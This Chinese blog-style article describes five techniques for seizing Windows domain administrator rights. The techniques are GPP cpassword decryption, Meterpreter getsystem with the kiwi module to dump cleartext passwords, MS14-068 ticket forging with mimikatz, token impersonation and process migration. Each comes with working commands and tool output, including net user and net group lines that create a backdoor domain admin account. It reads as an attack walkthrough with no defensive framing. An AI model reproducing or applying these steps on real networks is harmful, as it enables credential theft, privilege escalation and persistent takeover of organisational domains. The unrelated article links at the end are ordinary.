资讯专栏INFORMATION COLUMN

获取域管理员权限的几种方式

alogy / 1813人阅读

摘要:本文分享几种常见的获取域管理员权限的方式。第种方式利用漏洞获取域管理权限是域内的共享文件夹,用来存放登录脚本组策略脚本等信息。入侵域管理员所在的服务器,窃取域管理员的令牌,从而控制整个域。

在不考虑直接攻击域控的情况下,如何快速获取域管理员权限呢?

在大多数情况下,攻击者可以通过定位域管理员所登录的服务器,利用漏洞获取服务器system权限,找到域管理的账号、进程或是身份验证令牌,从而获取域管理员权限。本文分享几种常见的获取域管理员权限的方式。


第1种方式:利用GPP漏洞获取域管理权限

SYSVOL是域内的共享文件夹,用来存放登录脚本、组策略脚本等信息。当域管理员通过组策略修改密码时,在脚本中引入用户密码,就可能导致安全问题。

(1)访问SYSVOL共享文件夹,搜索包含“cpassword”的XML文件,获取AES加密的密码。

(2)使用kali自带的gpp-decrypt进行破解,从而获取域账号密码,直接登录域管理员账号获取访问权限。

第2种方式:获取服务器明文登录密码

使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。

 
meterpreter > getuidServer username: BYPASS-E97BA3FC/Administratormeterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).meterpreter > getuidServer username: NT AUTHORITY/SYSTEM

加载kiwi模块

 
load kiwi

列举系统中的明文密码

 
creds_all

第3种方式:使用MS14-068漏洞进行提权

MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。

攻击流程:

第一步:利用MS14-068伪造生成TGT

MS14-068.exe -u bypass@test.com -p abc123! -s S-1-5-21-735015318-3972860336-672499796 -d  dc.test.com

第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书

mimikatz#kerberos::ptc TGT_bypass@test.com.ccache


第三步:获取域管理员权限。创建一个 test 账号并加入域管理员组,从而随时可以登录域控主机进行操作。

PsExec.exe //dc cmd.exe// 添加test用户net user test abc123! /add /domain// 把 test 用户添加进域管理员组net group "domain admins"  test /add /domain// 查看域管理员net group "domain admins" /domain

第4种方式:窃取域管理员令牌

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。

1、入侵域管理员所在的服务器,窃取域管理员的令牌,从而控制整个域。

2、直接在meterpreter shell上执行添加域管理员

 
add_user test abc123! -h 域控的IP地址add_group_user "Domain Admins" test -h 域控IP地址

第5种方式:进程迁移

入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。

1、获取域管理员列表

 
net group "Domain Admins" /domain

2、利用ps找到域管理员(TEST/bypass)所运行的进程,然后将shell进程迁移到域管理员所运行的进程中,成功后就获得了域管理员权限。如下图所示:

3、输入shell命令获取OS shell,在本机上使用Windows命令添加新的域管理员:

 
// 添加test用户net user test admin@123 /add /domain// 把 test 用户添加进域管理员组net group "domain admins"  test /add /domain

4、成功添加了域管理员账号test。

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/122468.html

相关文章

  • Spring-bean几种循环依赖方式

    ...将这个实例化结束的对象放到一个Map中,并且Spring提供了获取这个未设置属性的实例化对象引用的方法。 结合我们的实例来看,,当Spring实例化了StudentA、StudentB、StudentC后,紧接着会去设置对象的属性,此时StudentA依赖StudentB,...

    notebin 评论0 收藏0
  • vue组件通信几种方式

    ...问当前组件的所有子组件。虽然 $parent 和 $children 都可以获取组件实例,但是它们无法在跨级或兄弟间通信,这是它们的缺点。 provide 、inject provide / inject 是 Vue 在 2.2.0 版本后新增的 API。 这对选项需要一起使用,以允许一个祖...

    vspiders 评论0 收藏0
  • Zookeeper学习系列【一】 教会你Zookeeper的一些基础概念

    ... 实际上从它的名字上就很好理解,Zoo - 动物园,Keeper - 理员,动物园中有很多种动物,这里的动物就可以比作分布式环境下多种多样的服务,而Zookeeper做的就是管理这些服务。 ZooKeeper 的设计目标是将那些复杂且容易出错的分...

    DevWiki 评论0 收藏0
  • 什么是跨以及几种简单解决方案

    ...看一个具体场景,在一个页面 example.com/a.html 中,我们想获取 data.com/data.html 中的数据,以下是解决方案: JSONP方法 JONSP(JSON with Padding)是JSON的一种使用模式。基本原理如下: 这时候在a.html中我们得到了一条js的执行语...

    zhaofeihao 评论0 收藏0
  • PostgreSQL安全性:快速查看身份验证最佳实践

    ...库服务器来工作。这个方法建议用于客户端计算机受系统理员严格控制的封闭网络。 · Peer认证:这类似于身份,但客户端操作系统用户名是从内核获得的。 · GSSAPI认证:GSSAPI是RFC2743中定义的行业标准。它提供自动身份验证...

    SnaiLiu 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<